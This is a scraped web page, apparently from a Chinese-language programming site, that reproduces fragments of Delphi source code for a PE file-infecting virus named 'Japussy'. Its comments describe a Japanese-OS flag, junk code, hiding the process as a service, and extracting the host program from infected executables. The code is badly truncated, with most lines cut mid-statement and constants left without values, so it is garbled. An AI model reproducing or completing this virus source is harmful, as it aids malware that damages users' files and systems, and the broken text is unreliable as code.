本文來自互聯網
program Japussy;
uses
Windows
const
HeaderSize =
IconOffset = $
//在我的Delphi
//查找
{
HeaderSize =
IconOffset = $
//Upx
}
IconSize = $
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $
//垃圾碼
Catchword =
{$R *
function RegisterServiceProcess(dwProcessID
stdcall; external
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win
function IsWin
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver
if not GetVersionEx(Ver) then
Exit;
if (Ver
Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos
begin
sCurPos := Src
dCurPos := Dst
Src
Dst
Dst
Src
Dst
end;
{ 將宿主文件從已感染的PE文件中分離出來
procedure ExtractFile(FileName: string);
var
sStream
begin
try
sStream := TFileStream
try
dStream := TFileStream
try
sStream
dStream
finally
dStream
end;
finally
sStream
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/8473.html